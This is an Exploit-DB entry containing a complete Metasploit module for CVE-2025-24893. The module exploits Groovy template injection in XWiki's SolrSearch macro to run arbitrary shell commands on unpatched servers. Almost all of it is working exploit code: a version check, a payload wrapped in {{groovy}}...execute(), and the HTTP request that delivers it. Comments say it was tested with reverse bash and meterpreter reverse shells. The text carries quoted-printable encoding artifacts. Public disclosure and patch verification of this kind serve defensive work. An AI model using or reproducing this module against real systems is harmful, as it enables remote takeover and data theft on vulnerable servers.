Exploit-DB #52429
Description: XWiki Platform 15.10.10 - Metasploit Module for Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2025-09-16
Author: Maksim Rogov

Exploit:
##
# Exploit Title: XWiki Platform 15.10.10 - Metasploit Module for Remote Code Execution (RCE) 
# Date: 09/01/2025
# Exploit Author: Maksim Rogov
# Vendor Homepage: https://www.xwiki.org/
# Software Link: https://www.xwiki.org/xwiki/bin/view/Download/
# Version: (5.3‑milestone‑2 ≤ v < 15.10.11) ∨ (16.0.0‑rc‑1 ≤ v < 16.4.1)
# Tested on: Ubuntu 18.0.4 | Windows 10
# CVE : CVE-2025-24893
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank =3D ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info =3D {})
    super(
      update_info(
        info,
        'Name' =3D> 'Remote Code Execution Vulnerability in XWiki Platform =
(CVE-2025-24893)',
        'Description' =3D> %q{
          This module exploits a template injection vulnerability in the th=
e XWiki Platform.
          XWiki includes a macro called SolrSearch (defined in Main.SolrSea=
rchMacros) that enables full-text search through the embedded Solr engine.
          The vulnerability stems from the way this macro evaluates search =
parameters in Groovy, failing to sanitize or restrict malicious input.

          This vulnerability affects XWiki Platform versions >=3D 5.3-miles=
tone-2 and < 15.10.11, and versions >=3D 16.0.0-rc-1 and < 16.4.1.
          Successful exploitation may result in the remote code execution u=
nder the privileges
          of the web server, potentially exposing sensitive data or disrupt=
ing survey operations.

          An attacker can execute arbitrary system commands in the context =
of the user running the web server.
        },
        'License' =3D> MSF_LICENSE,
        'Author' =3D> [
          'Maksim Rogov', # Metasploit Module
          'John Kwak' # Vulnerability Discovery
        ],
        'References' =3D> [
          ['CVE', '2025-24893'],
          ['URL', 'https://github.com/xwiki/xwiki-platform/security/advisor=
ies/GHSA-rr6p-3pfg-562j']
        ],
        'Platform' =3D> ['unix', 'linux', 'win'],
        'Arch' =3D> [ARCH_CMD],
        'Targets' =3D> [
          [
            'Unix Command',
            {
              'Platform' =3D> ['unix', 'linux'],
              'Arch' =3D> ARCH_CMD,
              'Type' =3D> :unix_cmd,
              'DefaultOptions' =3D> {
                # On Debian 9 curl is not installed by default
                'FETCH_COMMAND' =3D> 'WGET'
              }
              # Tested with cmd/unix/reverse_bash
              # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command',
            {
              'Platform' =3D> ['win'],
              'Arch' =3D> ARCH_CMD,
              'Type' =3D> :win_cmd
              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ],
        ],
        'Payload' =3D> {
          'BadChars' =3D> '\\'
        },
        'DefaultTarget' =3D> 0,
        'DisclosureDate' =3D> '2025-02-20',
        'Notes' =3D> {
          'Stability' =3D> [CRASH_SAFE],
          'SideEffects' =3D> [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' =3D> [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to XWiki', '/']),
      ]
    )
  end

  def check
    print_status('Extracting version...')

    res =3D send_request_cgi(
      'uri' =3D> normalize_uri(target_uri.path, '/xwiki/bin/view/Main/'),
      'method' =3D> 'GET'
    )
    return CheckCode::Unknown('No response from target') unless res&.code =
=3D=3D 200

    version_div =3D res.get_html_document.at('div[id=3D"xwikiplatformversio=
n"]')
    return CheckCode::Safe('Possibly not XWiki or incorrect path (version t=
ag not found)') unless version_div

    version_match =3D version_div.text.match(/XWiki.*?(\d+\.\d+\.\d+)/)
    unless version_match
      print_error("#{peer} - Unable to extract version number")
      return CheckCode::Detected('XWiki detected, but version number missin=
g or unrecognized')
    end

    version =3D Rex::Version.new(Regexp.last_match(1).to_s)
    print_status("Extracted version: #{version}")

    if version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('15.10.=
10')) ||
       version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.4.=
0'))
      return CheckCode::Appears("Detected version #{version}, which is vuln=
erable")
    end

    return CheckCode::Safe("Version #{version} appears safe")
  end

  def build_cmd
    print_status('Building command for target...')

    if target['Type'] =3D=3D :unix_cmd
      cmd_array =3D "'sh', '-c', '#{payload.encoded}'"
    else
      cmd_array =3D "'cmd.exe', '/b', '/q', '/c', '#{payload.encoded}'"
    end

    print_good('Command successfully built for target')

    return "{{async async=3Dfalse}}{{groovy}}[#{cmd_array}].execute().text{=
{/groovy}}{{/async}}"
  end

  def send_payload(cmd)
    print_status('Uploading payload...')

    vars_get =3D {
      'media' =3D> 'rss',
      'text' =3D> cmd
    }

    send_request_cgi({
      'uri' =3D> normalize_uri(target_uri.path, '/xwiki/bin/get/Main/SolrSe=
arch'),
      'method' =3D> 'GET',
      'vars_get' =3D> vars_get
    })
  end

  def exploit
    cmd =3D build_cmd
    send_payload(cmd)
  end
end